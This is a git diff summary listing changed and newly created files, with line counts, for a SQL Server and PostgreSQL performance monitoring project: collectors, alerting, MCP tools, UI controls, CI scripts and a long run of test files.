 Lite/Controls/OverviewCardBorder.cs           |   34 +
 Lite/Controls/RecommendationsTab.xaml         |   19 +-
 Lite/Controls/RecommendationsTab.xaml.cs      |   27 +-
 .../ServerTab.BlockingChartsDataStart.cs      |  110 +
 Lite/Controls/ServerTab.BlockingStats.cs      |    4 +-
 Lite/Controls/ServerTab.Charts.cs             |  215 +-
 Lite/Controls/ServerTab.Comparison.cs         |   75 +-
 Lite/Controls/ServerTab.ConfigChanges.cs      |    3 +
 Lite/Controls/ServerTab.CopyExport.cs         |    4 +-
 Lite/Controls/ServerTab.CpuScheduler.cs       |    2 +-
 Lite/Controls/ServerTab.DailySummary.cs       |    5 +-
 Lite/Controls/ServerTab.DatabaseFilter.cs     |   14 +-
 Lite/Controls/ServerTab.DrillDown.cs          |   46 +-
 Lite/Controls/ServerTab.EngineGaps.cs         |    7 +
 Lite/Controls/ServerTab.Filters.cs            |    6 +
 Lite/Controls/ServerTab.Grids.cs              |   24 +-
 Lite/Controls/ServerTab.LatchSpinlock.cs      |    5 +
 Lite/Controls/ServerTab.LongQueries.cs        |   41 +-
 Lite/Controls/ServerTab.PlanCache.cs          |    3 +
 Lite/Controls/ServerTab.Plans.cs              |   42 +-
 Lite/Controls/ServerTab.QueriesDataStart.cs   |   95 +
 Lite/Controls/ServerTab.Refresh.cs            |  476 +-
 Lite/Controls/ServerTab.SessionStats.cs       |    2 +
 Lite/Controls/ServerTab.Slicers.cs            |   27 +-
 Lite/Controls/ServerTab.SystemEvents.cs       |   25 +
 Lite/Controls/ServerTab.TimeRange.cs          |  461 +-
 Lite/Controls/ServerTab.xaml                  |  324 +-
 Lite/Controls/ServerTab.xaml.cs               |   88 +-
 Lite/Controls/TimeRangeSlicerControl.xaml.cs  |   49 +-
 Lite/Database/DeadlockDuplicateCleanup.cs     |   16 +-
 Lite/Database/DuckDbInitializer.cs            |  186 +-
 Lite/Database/StoredEventCopies.cs            |   39 +-
 Lite/FleetRow.cs                              |   10 +
 Lite/Helpers/LiteTimeRange.cs                 |  256 +
 Lite/Helpers/MethodProfiler.cs                |   74 +-
 Lite/MainWindow.AlertEngine.cs                |   28 +-
 Lite/MainWindow.xaml                          |   10 +-
 Lite/MainWindow.xaml.cs                       |  165 +-
 Lite/Mcp/McpAlertTools.cs                     |    4 +-
 Lite/Mcp/McpAnalysisTools.cs                  |   58 +-
 Lite/Mcp/McpBlockingTools.cs                  |  195 +-
 Lite/Mcp/McpCollectorRunTimes.cs              |  162 +
 Lite/Mcp/McpConfigHistoryTools.cs             |   67 +-
 Lite/Mcp/McpConfigTools.cs                    |    6 +-
 Lite/Mcp/McpDatabaseSelection.cs              |   42 +
 Lite/Mcp/McpDefaultTraceTools.cs              |   44 +-
 Lite/Mcp/McpHealthParserTools.cs              |  162 +-
 Lite/Mcp/McpHealthTools.cs                    |  229 +-
 Lite/Mcp/McpHostService.cs                    |   66 +-
 Lite/Mcp/McpInstructions.cs                   |    2 +
 Lite/Mcp/McpIoTools.cs                        |   45 +-
 Lite/Mcp/McpJobTools.cs                       |    9 +-
 Lite/Mcp/McpLongQueryTools.cs                 |   62 +-
 Lite/Mcp/McpMemoryTools.cs                    |   18 +-
 Lite/Mcp/McpObjectStatsTools.cs               |   86 +-
 Lite/Mcp/McpPlanCorrectionTools.cs            |   51 +-
 Lite/Mcp/McpPlanTools.cs                      |   87 +-
 Lite/Mcp/McpPvsTools.cs                       |   32 +-
 Lite/Mcp/McpQueryTools.cs                     |  331 +-
 Lite/Mcp/McpServerInfoTools.cs                |   35 +-
 Lite/Mcp/McpSessionTools.cs                   |   65 +-
 Lite/Mcp/McpWaitTools.cs                      |   64 +-
 Lite/Models/CollectorSchedule.cs              |   47 +
 Lite/Models/ServerConnection.cs               |    6 +
 Lite/Services/AgAlertEvaluator.cs             |   58 +-
 Lite/Services/AppAlertSettings.cs             |    1 +
 Lite/Services/AppLogger.cs                    |   67 +-
 Lite/Services/ArchiveReadLimiter.cs           |   81 +
 Lite/Services/ArchiveService.cs               |  361 +-
 Lite/Services/ArchiveWatermarkCache.cs        |  122 +-
 Lite/Services/CollectionBackgroundService.cs  |    2 +
 Lite/Services/DataImportService.cs            |    2 +-
 Lite/Services/DataVolumeSpace.cs              |  170 +
 Lite/Services/DeltaCalculator.cs              |    2 +-
 Lite/Services/DuckDbAlertHistoryStore.cs      |    8 +-
 Lite/Services/DuckDbMemoryLimitSetting.cs     |  178 +
 Lite/Services/EmailAlertService.cs            |    7 +
 Lite/Services/FinOpsServerInventory.cs        |    1 +
 Lite/Services/FinOpsShowReloadPolicy.cs       |   45 +
 Lite/Services/InstallIdStore.cs               |  516 ++
 Lite/Services/KnownEngineEditions.cs          |   27 +-
 Lite/Services/LiteAlertDeliverer.cs           |    6 +
 Lite/Services/LiteAlertReadAdapter.cs         |    4 +-
 Lite/Services/LivePlanDisplay.cs              |   37 +
 Lite/Services/LocalDataService.AgTopology.cs  |    2 +-
 .../Services/LocalDataService.AlertHistory.cs |   89 +-
 Lite/Services/LocalDataService.Blocking.cs    |  217 +-
 .../LocalDataService.BlockingStats.cs         |   15 +-
 .../LocalDataService.CollectionHealth.cs      |  859 ++-
 Lite/Services/LocalDataService.Config.cs      |   20 +
 .../LocalDataService.ConfigChanges.cs         |   32 +
 .../Services/LocalDataService.CpuScheduler.cs |   33 +
 .../LocalDataService.DatabaseFilter.cs        |   20 +
 Lite/Services/LocalDataService.FileIo.cs      |  120 +-
 .../LocalDataService.FinOps.IndexObjects.cs   |   85 +-
 .../LocalDataService.FinOps.Inventory.cs      |   24 +-
 Lite/Services/LocalDataService.FinOps.Pvs.cs  |   23 +-
 ...LocalDataService.FinOps.Recommendations.cs |  218 +-
 ...ocalDataService.FinOps.ServerProperties.cs |   85 +-
 .../LocalDataService.FinOps.StorageGrowth.cs  |   86 +-
 .../LocalDataService.FinOps.Workload.cs       |    2 +-
 Lite/Services/LocalDataService.FinOps.cs      |   75 +-
 .../LocalDataService.ForcePlanFailures.cs     |   29 +-
 Lite/Services/LocalDataService.JobHistory.cs  |  297 +-
 .../LocalDataService.LatchSpinlock.cs         |    8 +
 Lite/Services/LocalDataService.LongQueries.cs |   23 +-
 Lite/Services/LocalDataService.Overview.cs    |   30 +-
 .../Services/LocalDataService.QueryHeatmap.cs |   17 +-
 Lite/Services/LocalDataService.QueryStats.cs  |  531 +-
 Lite/Services/LocalDataService.QueryStore.cs  |  354 +-
 .../LocalDataService.QueryStoreRegressions.cs |   69 +-
 .../LocalDataService.QueryStoreText.cs        |  373 ++
 .../LocalDataService.QueryWindowFloor.cs      |  495 +-
 Lite/Services/LocalDataService.RunningJobs.cs |  149 +-
 .../LocalDataService.RuntimePrecondition.cs   |    2 +-
 Lite/Services/LocalDataService.ServerInfo.cs  |   13 +-
 .../Services/LocalDataService.SessionStats.cs |   17 +-
 .../Services/LocalDataService.SystemEvents.cs |  173 +-
 .../Services/LocalDataService.TrendBuckets.cs |  113 +-
 Lite/Services/LocalDataService.WaitStats.cs   |    9 +-
 Lite/Services/LocalDataService.cs             |   28 +-
 Lite/Services/ParquetCompaction.cs            |  145 +-
 Lite/Services/ProcedureHistoryIdleRuns.cs     |   79 +
 Lite/Services/QueryStoreSliceRepairService.cs |   17 +-
 Lite/Services/ReadPhaseTimer.cs               |  140 +
 ...moteCollectorService.AlwaysOnXeSessions.cs |  266 +
 ...teCollectorService.BlockedProcessReport.cs |  402 +-
 .../RemoteCollectorService.Deadlocks.cs       |  150 +-
 ...RemoteCollectorService.DefinitionRunner.cs |   64 +-
 ...CollectorService.LegacyLongQuerySession.cs |  359 ++
 ...teCollectorService.LongQueryCompletions.cs | 1242 +++-
 ...moteCollectorService.QueryStoreBackfill.cs |  231 +-
 .../RemoteCollectorService.RunTime.cs         |  179 +
 Lite/Services/RemoteCollectorService.cs       |  710 ++-
 Lite/Services/ScheduleManager.cs              |  519 +-
 Lite/Services/ServerManager.cs                |    4 +-
 Lite/Services/ServerTimeHelper.cs             |    7 +
 Lite/Services/SettingsImport.cs               |   52 +
 Lite/Services/SettingsSaveReport.cs           |    6 +-
 Lite/Services/TopFill.cs                      |   80 +
 Lite/Themes/CoolBreezeTheme.xaml              |   33 +-
 Lite/Themes/DarkTheme.xaml                    |   33 +-
 Lite/Themes/LightTheme.xaml                   |   33 +-
 Lite/Windows/CollectionLogWindow.xaml         |    5 +
 Lite/Windows/CollectionLogWindow.xaml.cs      |   62 +-
 .../CollectorScheduleEditorWindow.xaml        |    9 +-
 .../CollectorScheduleEditorWindow.xaml.cs     |   55 +-
 .../DatabaseStateOverridesWindow.xaml.cs      |   16 +-
 Lite/Windows/ManageTagsWindow.xaml.cs         |   26 +-
 Lite/Windows/MuteRuleDialog.xaml.cs           |    6 +-
 Lite/Windows/ProcedureHistoryWindow.xaml.cs   |   33 +-
 Lite/Windows/QueryStatsHistoryWindow.xaml.cs  |   25 +-
 Lite/Windows/QueryStoreHistoryWindow.xaml.cs  |   27 +-
 Lite/Windows/SettingsWindow.xaml              |   95 +-
 Lite/Windows/SettingsWindow.xaml.cs           |  130 +-
 Lite/Windows/WaitDrillDownWindow.xaml.cs      |   27 +-
 Lite/config/collection_schedule.json          |    2 +-
 Lite/config/settings.sample.json              |    4 +-
 Lite/packages.lock.json                       |   82 +-
 .../AgentJobStepQuery.cs                      |    2 +-
 .../AlertContextBuilders.cs                   |   29 +-
 PerformanceMonitor.Alerting/AlertEngine.cs    |   12 +-
 .../AlertReadFailureCounter.cs                |    7 +-
 .../AlertStatementFilter.cs                   |  690 ++
 .../DeadlockAlertRow.cs                       |    6 +-
 .../FailedJobsQuery.cs                        |    2 +-
 .../PerformanceMonitor.Alerting.csproj        |    7 +
 .../RunningJobsCurrency.cs                    |   45 +
 .../AnalysisContext.cs                        |   27 +-
 .../BlockingChainReconstructor.cs             |   19 +
 .../FactRemediation.cs                        |   14 +
 .../FactReplicaScope.cs                       |  126 +
 .../PgTargetAdvice.Growth.cs                  |   10 +-
 .../PgTargetFactKeys.cs                       |    2 +-
 .../PgTargetScorer.Growth.cs                  |   65 +-
 .../PgTargetScorer.Plans.cs                   |    3 +-
 .../SameStatementPileupDetector.cs            |   26 +-
 .../WithheldStatementMarker.cs                |   26 +
 .../AgDatabaseReplicaStatesCollector.cs       |    2 +-
 .../AgReplicaStatesCollector.cs               |    2 +-
 .../AgentStatusCollector.cs                   |    2 +-
 .../AlwaysOnXeSessions.cs                     |  847 +++
 .../AzureSweepScope.cs                        |   16 +
 .../BlockedProcessReportCollector.cs          |   34 +-
 .../CollectorCadence.cs                       |   33 +
 .../CollectorContext.cs                       |  154 +-
 .../CollectorDefinitionBase.cs                |    2 +
 .../CollectorRunTime.cs                       |  226 +
 .../CollectorRuntimePrecondition.cs           |   19 +-
 .../CollectorScheduleDefaults.cs              |   78 +-
 .../CpuSchedulerStatsCollector.cs             |    2 +-
 .../CpuUtilizationCollector.cs                |   12 +-
 .../DatabaseConfigCollector.cs                |    2 +-
 .../DatabaseScopedConfigCollector.cs          |    4 +-
 .../DatabaseSizeStatsCollector.cs             |  143 +-
 .../DatabaseStateCollector.cs                 |    2 +-
 .../DeadlocksCollector.cs                     |   65 +-
 .../DefaultTraceEventsCollector.cs            |   10 +-
 .../DmvBlockingSnapshotCollector.cs           |    6 +-
 .../EmptyDatabaseListNote.cs                  |   62 +
 .../FileIoStatsCollector.cs                   |    4 +-
 .../ICollectorDefinition.cs                   |   10 +
 .../ICollectorRowWriter.cs                    |    9 +
 .../IScheduleFrequencyOverride.cs             |   29 +
 .../IndexObjectStatsCollector.cs              |   20 +-
 PerformanceMonitor.Collectors/InstallId.cs    |   60 +
 .../JobHistoryCollector.cs                    |    7 +-
 .../LatchStatsCollector.cs                    |    2 +-
 .../LegacyLongQuerySession.cs                 |   25 +
 .../LongQueryCompletionsCollector.cs          |  193 +-
 .../LongQueryTraceDatabases.cs                |  602 ++
 .../LongQueryTraceStep.cs                     |   64 +
 .../MemoryClerksCollector.cs                  |    2 +-
 .../MemoryGrantsCollector.cs                  |    2 +-
 .../MemoryPressureEventsCollector.cs          |    4 +-
 .../MemoryStatsCollector.cs                   |    4 +-
 .../PerfmonStatsCollector.cs                  |   13 +-
 .../PgLogTextRedactor.cs                      |    5 +
 .../PgPlanLogParser.cs                        |  106 +-
 .../PgSensitiveStatementFilter.cs             |   47 +-
 .../PlanCacheStatsCollector.cs                |    2 +-
 .../PlanCorrectionCollector.cs                |   27 +-
 .../ProcedureStatsCollector.cs                |  546 +-
 .../PvsStatsCollector.cs                      |    4 +-
 .../QuerySnapshotsCollector.cs                |   13 +-
 .../QueryStatsCollector.cs                    |  187 +-
 .../QueryStoreBackfillState.cs                |   71 +
 .../QueryStoreCollector.cs                    |   36 +-
 .../QueryStoreHealthCollector.cs              |    4 +-
 .../QueryStorePerDatabaseState.cs             |   16 +-
 .../RunningJobsCollector.cs                   |    2 +-
 .../ServerConfigCollector.cs                  |    2 +-
 PerformanceMonitor.Collectors/ServerEpoch.cs  |   45 +
 .../ServerPropertiesCollector.cs              |   12 +-
 .../SessionStatsCollector.cs                  |    2 +-
 .../SessionSummaryStatsCollector.cs           |    2 +-
 .../SpinlockStatsCollector.cs                 |    2 +-
 .../SqlServerPermissionErrors.cs              |   10 +-
 .../StallWaitProbe.cs                         |  318 +-
 .../SystemHealthEventsCollector.cs            |    6 +-
 .../TraceFlagsCollector.cs                    |    2 +-
 .../WaitStatsCollector.cs                     |    4 +-
 .../WatermarkPolicy.cs                        |   30 +-
 PerformanceMonitor.Common/AgReplicaScope.cs   |  155 +
 PerformanceMonitor.Common/AgTopology.cs       |   26 +-
 .../AlertMetricClassifier.cs                  |   15 +-
 .../AzureSiblingDatabaseSize.cs               |   37 +-
 .../BlockingThresholdCoverage.cs              |   56 +
 .../DatabaseNameHistory.cs                    |  145 +
 .../DerivedStoreScrub.cs                      |   45 +
 PerformanceMonitor.Common/FinOpsHeatmap.cs    |   54 +
 .../IndexCleanupAnalyzer.cs                   |   56 +-
 .../IndexCleanupModels.cs                     |    3 +
 PerformanceMonitor.Common/JobHistoryCap.cs    |   27 +
 PerformanceMonitor.Common/Mcp/McpHelpers.cs   |  248 +-
 .../Mcp/McpSchemaCompat.cs                    |   63 +-
 .../Mcp/McpToolParameterTypes.cs              |  338 +
 .../Mcp/McpUnknownArgumentGuard.cs            |  295 +-
 .../Mcp/SensitiveStatementOutputFilter.cs     |  267 +
 PerformanceMonitor.Common/Mcp/TrendBuckets.cs |    2 +-
 .../Mcp/TrendPayloads.cs                      |    8 +-
 .../Models/ColumnFilterState.cs               |   73 +-
 .../PerfmonCounterTypes.cs                    |   12 +-
 .../PerformanceMonitor.Common.csproj          |    3 +
 .../SensitiveStatements.Json.cs               |  197 +
 .../SensitiveStatements.Regex.cs              |  749 +++
 .../SensitiveStatements.Session.cs            |  334 +
 .../SensitiveStatements.WarmUp.cs             |  214 +
 .../SensitiveStatements.Xml.cs                |  947 +++
 .../SensitiveStatements.cs                    |  224 +
 .../Services/ColumnFilterMatcher.cs           |   23 +-
 .../Services/ColumnValueList.cs               |  258 +
 .../Services/ColumnValueListColumns.cs        |   59 +
 .../Services/JsonContentType.cs               |   41 +
 PerformanceMonitor.Common/TagColours.cs       |   79 +
 .../AgAlertContexts.cs                        |    8 +
 .../AlertContext.cs                           |   26 +
 .../AlertFamily.cs                            |   55 +
 .../AlertSeverity.cs                          |    4 +
 .../AnalysisNotificationService.cs            |    6 +-
 .../EmailSendCore.cs                          |    4 +-
 .../IAlertSettings.cs                         |   27 +
 .../IncidentCooldown.cs                       |  128 +-
 .../IncidentDeliveryFilter.cs                 |   11 +-
 .../IncidentGrouping.cs                       |   46 +-
 PerformanceMonitor.Notifications/MuteRule.cs  |   39 +
 .../NotificationRoute.cs                      |   13 +
 .../NotificationRouter.cs                     |   11 +
 .../PerEventNotification.cs                   |    9 +-
 .../WebhookAlertService.cs                    |  336 +-
 .../ActualPlanExecutor.cs                     |   66 +-
 .../QueryModificationDetector.cs              |    8 +
 .../ReproScriptBuilder.cs                     |    5 +-
 .../ShowPlanParser.cs                         |    6 +-
 PerformanceMonitor.Ui/AccessibleNames.cs      |  723 +++
 PerformanceMonitor.Ui/BlockingSourceLabel.cs  |   42 +
 PerformanceMonitor.Ui/ChartHoverHelper.cs     |  130 +-
 .../CollectorDurationHoverText.cs             |   29 +
 PerformanceMonitor.Ui/ColumnFilterPopup.xaml  |  131 +-
 .../ColumnFilterPopup.xaml.cs                 |  147 +-
 .../ColumnFilterPopupController.cs            |   16 +-
 PerformanceMonitor.Ui/ColumnFilterScope.cs    |   38 +
 PerformanceMonitor.Ui/ColumnFilterStore.cs    |  512 ++
 PerformanceMonitor.Ui/ColumnValueListModel.cs |  192 +
 .../ComparisonBaselineNote.cs                 |   31 +
 .../DataGridFilterManager.cs                  |  143 +-
 .../DatabaseFilterSelection.cs                |   54 +
 PerformanceMonitor.Ui/EmptyState.cs           |  110 +
 PerformanceMonitor.Ui/FileIoChartFiles.cs     |   40 +
 PerformanceMonitor.Ui/FileSaveHelper.cs       |   16 +-
 PerformanceMonitor.Ui/IoLatencyWeighting.cs   |   43 +
 PerformanceMonitor.Ui/LongQueriesEmptyText.cs |   26 +
 .../PlanNavigationController.cs               |    4 +-
 PerformanceMonitor.Ui/PlanNodeBorder.cs       |   81 +
 .../PlanViewerControl.Rendering.cs            |   10 +-
 .../PlanViewerControl.xaml.cs                 |   27 +
 PerformanceMonitor.Ui/RefreshCoordinator.cs   |  154 +
 .../ScopedLoadGenerations.cs                  |    7 +-
 PerformanceMonitor.Ui/ServerOverviewFilter.cs |    7 +
 PerformanceMonitor.Ui/TagColorPalette.cs      |   71 +-
 PerformanceMonitor.Ui/TimeColumnTitle.cs      |   27 +
 .../TimeRange/ResolvedTimeRange.cs            |  109 +
 .../TimeRange/RollingUnitRule.cs              |   53 +
 .../TimeRange/TimeRangeParser.cs              |  617 ++
 .../TimeRange/TimeRangePresets.cs             |  176 +
 .../TimeRange/TimeRangeSpec.cs                |  487 ++
 PerformanceMonitor.Ui/TimeRangePicker.xaml    |  109 +
 PerformanceMonitor.Ui/TimeRangePicker.xaml.cs |  609 ++
 PerformanceMonitor.Ui/WithheldPlanGuard.cs    |   56 +
 README.md                                     |  189 +-
 deprecated/Dashboard.Tests/packages.lock.json |   74 +-
 deprecated/Dashboard/packages.lock.json       |   54 +-
 deprecated/Installer.Core/packages.lock.json  |   30 +-
 deprecated/Installer.Tests/packages.lock.json |   34 +-
 deprecated/Installer/packages.lock.json       |   44 +-
 docs/changelog/3.10.md                        |  633 ++
 docs/how-collection-works.md                  |   20 +-
 docs/postgres-first-target-runbook.md         |  131 +-
 docs/uat-onboarding.md                        |   71 +-
 llms.txt                                      |    2 +-
 tools/CompactionRepro/Program.cs              |   97 +-
 tools/changelog/archive-census.txt            |    1 +
 .../drain-ab-replay/Invoke-DrainAbReplay.ps1  | 1027 +++
 tools/drain-ab-replay/README.md               |  126 +
 .../proof/Start-FakeRetention.ps1             |   47 +
 .../example-output/latency_by_script.csv      |   26 +
 .../proof/example-output/phases.csv           |    5 +
 .../proof/example-output/rates.csv            |   68 +
 .../proof/example-output/run.json             |   64 +
 .../proof/example-output/summary.md           |   54 +
 .../drain-ab-replay/proof/seed-proof-rig.sql  |  108 +
 2650 files changed, 456216 insertions(+), 21317 deletions(-)
 create mode 100644 .github/ci-history/failures.jsonl
 create mode 100644 .github/ci-history/replay-accepted.txt
 create mode 100644 .github/scripts/altcover-probe.py
 create mode 100644 .github/scripts/ci-select.py
 create mode 100644 .github/scripts/darling-upgrade-shapes.ps1
 create mode 100644 .github/scripts/lite-shard-pack.py
 create mode 100644 .github/scripts/lite-timing-top.py
 create mode 100644 .github/scripts/run-darling-pg-shard.ps1
 create mode 100644 .github/scripts/run-lite-shard.ps1
 create mode 100644 .github/scripts/tag-reads-lite.py
 create mode 100644 .github/scripts/test-map.py
 create mode 100644 .github/workflows/darling-upgrade-shapes.yml
 create mode 100644 Darling/Darling.Tests/ActiveQueriesDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ActiveQueriesWidenedColumnsTests.cs
 create mode 100644 Darling/Darling.Tests/ActualPlanConsentNoticeTests.cs
 create mode 100644 Darling/Darling.Tests/ActualPlanSnapshotResolveLiveTests.cs
 create mode 100644 Darling/Darling.Tests/AdminPageBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/AdminPageTests.cs
 create mode 100644 Darling/Darling.Tests/AdminServerEditBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/AdminServersRouteLiveTests.cs
 create mode 100644 Darling/Darling.Tests/AdminServersRouteTests.cs
 create mode 100644 Darling/Darling.Tests/AdminServersVersionLabelTests.cs
 create mode 100644 Darling/Darling.Tests/AgEveryViewLiveTests.cs
 create mode 100644 Darling/Darling.Tests/AggregateJobQuiesceTests.cs
 create mode 100644 Darling/Darling.Tests/AlertDelivererInventoryPinTests.cs
 create mode 100644 Darling/Darling.Tests/AlertHistoryAdviceLiveTests.cs
 create mode 100644 Darling/Darling.Tests/AlertHistoryAdviceTests.cs
 create mode 100644 Darling/Darling.Tests/AlertHistoryDismissBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/AlertHistoryDismissTests.cs
 create mode 100644 Darling/Darling.Tests/AlertHistoryRangePageTests.cs
 create mode 100644 Darling/Darling.Tests/AlertStatementCutOrderTests.cs
 create mode 100644 Darling/Darling.Tests/AlwaysOnXeReadOnlyIntentTests.cs
 create mode 100644 Darling/Darling.Tests/AlwaysOnXeSessionsTests.cs
 create mode 100644 Darling/Darling.Tests/AnalysisFindingsTabTests.cs
 create mode 100644 Darling/Darling.Tests/AwsAssumeRolePackageTests.cs
 create mode 100644 Darling/Darling.Tests/AwsAssumedRoleCredentialsTests.cs
 create mode 100644 Darling/Darling.Tests/AwsExternalIdNeverPrintedTests.cs
 create mode 100644 Darling/Darling.Tests/AwsPerServerRoleLiveTests.cs
 create mode 100644 Darling/Darling.Tests/AwsPerServerRoleRungTests.cs
 create mode 100644 Darling/Darling.Tests/AwsRoleAllowlistTests.cs
 create mode 100644 Darling/Darling.Tests/AwsRoleBundleEndToEndLiveTests.cs
 create mode 100644 Darling/Darling.Tests/AwsRoleCredentialCacheTests.cs
 create mode 100644 Darling/Darling.Tests/AwsRoleEditTests.cs
 create mode 100644 Darling/Darling.Tests/AwsRoleMessageTextTests.cs
 create mode 100644 Darling/Darling.Tests/AwsRoleSettingsTests.cs
 create mode 100644 Darling/Darling.Tests/AwsStsTestSupport.cs
 create mode 100644 Darling/Darling.Tests/AzureFallbackMessageTests.cs
 create mode 100644 Darling/Darling.Tests/BlockingDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/BlockingListPlanFlagsLivePostgresTests.cs
 create mode 100644 Darling/Darling.Tests/BlockingThresholdCoverageTests.cs
 create mode 100644 Darling/Darling.Tests/BlockingWaitsFilteredEmptyWordingTests.cs
 create mode 100644 Darling/Darling.Tests/BlockingWaitsWebDispatchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/BoundedCompressionDdlTests.cs
 create mode 100644 Darling/Darling.Tests/BoundedDdlBusyStreakTests.cs
 create mode 100644 Darling/Darling.Tests/BoundedDdlSingleCopyTests.cs
 create mode 100644 Darling/Darling.Tests/BugReportTemplateDiagnosticsBundleTests.cs
 create mode 100644 Darling/Darling.Tests/CiShardCommandLineBudgetTests.cs
 create mode 100644 Darling/Darling.Tests/CiShardHangReportTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionCaveatsWebTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionGapAtStartTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthDetachedSweepPressureTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthEffectiveCadenceTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthEverySurfaceEffectiveIntervalTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthKeyedLookupParityTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthOracleSql.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthRunTimeFieldsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHealthScheduleOverridesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionHistoryAuditTests.cs
 create mode 100644 Darling/Darling.Tests/CollectionLogSegmentByLiveTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorFaultStackLogTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorRunTimeCliVerbTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorRunTimeRungTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorRunTimeTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorRunTimeViewerLiveTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorRunTimeViewerTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorScheduleEditorSaveGuardTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorScheduleResetStatusTests.cs
 create mode 100644 Darling/Darling.Tests/CollectorScheduleUseDefaultRunAtLineTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnFilterPersistenceTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnFilterPopupTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnFilterWiringCensusTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnGroupsBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnValueFilterCasesTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnValueListNameRuleTests.cs
 create mode 100644 Darling/Darling.Tests/ColumnValueListTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeCatalogStatementTextCensusTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeClientTimeoutAttributionTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeDataFloorLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeHourlyEdgesLedgerGuardLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeHourlyEdgesRunnerTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeHourlyRawEdgesGuardLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeHourlyRawEdgesModuleMapLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeImageTagTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeOpenPhaseTimeoutTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreStampCompileTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreStampExactnessLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreStampGuardLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreStampInvalidationLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeQueryStoreStampPlanLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeRollupDataFloorLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeServerScopeByIdTests.cs
 create mode 100644 Darling/Darling.Tests/ComposeStampLiveSupport.cs
 create mode 100644 Darling/Darling.Tests/ComposeTimeoutPhaseLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ConfigDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ConnectionTestReplyTests.cs
 create mode 100644 Darling/Darling.Tests/CustomAlertResolutionNameFilterTests.cs
 create mode 100644 Darling/Darling.Tests/DailyCollectorDetachTests.cs
 create mode 100644 Darling/Darling.Tests/DailyRunCapAndWatchdogTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingAllowFromListGateTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingCidrAllowListTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingCliSealKeyTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingCollectorRunTimeReaderTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingConfigAwsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingEncryptPasswordStreamTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingHeartbeatTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingHostConfigurationPinTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingListenerTlsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpDeadlockProcessesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpDefaultTraceToolsWindowNoticeTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpFinOpsInventoryToolsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpFinOpsRecommendationsToolsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpHealthParserToolsWindowNoticeTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpJobHistoryToolTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpPgWindowD8aLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpPgWindowD8bLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpQueryStoreHistoryToolsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpServerTagToolsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpServerTrendToolsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingMcpTlsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingModuleMapGroupedSourceLiveTests.cs
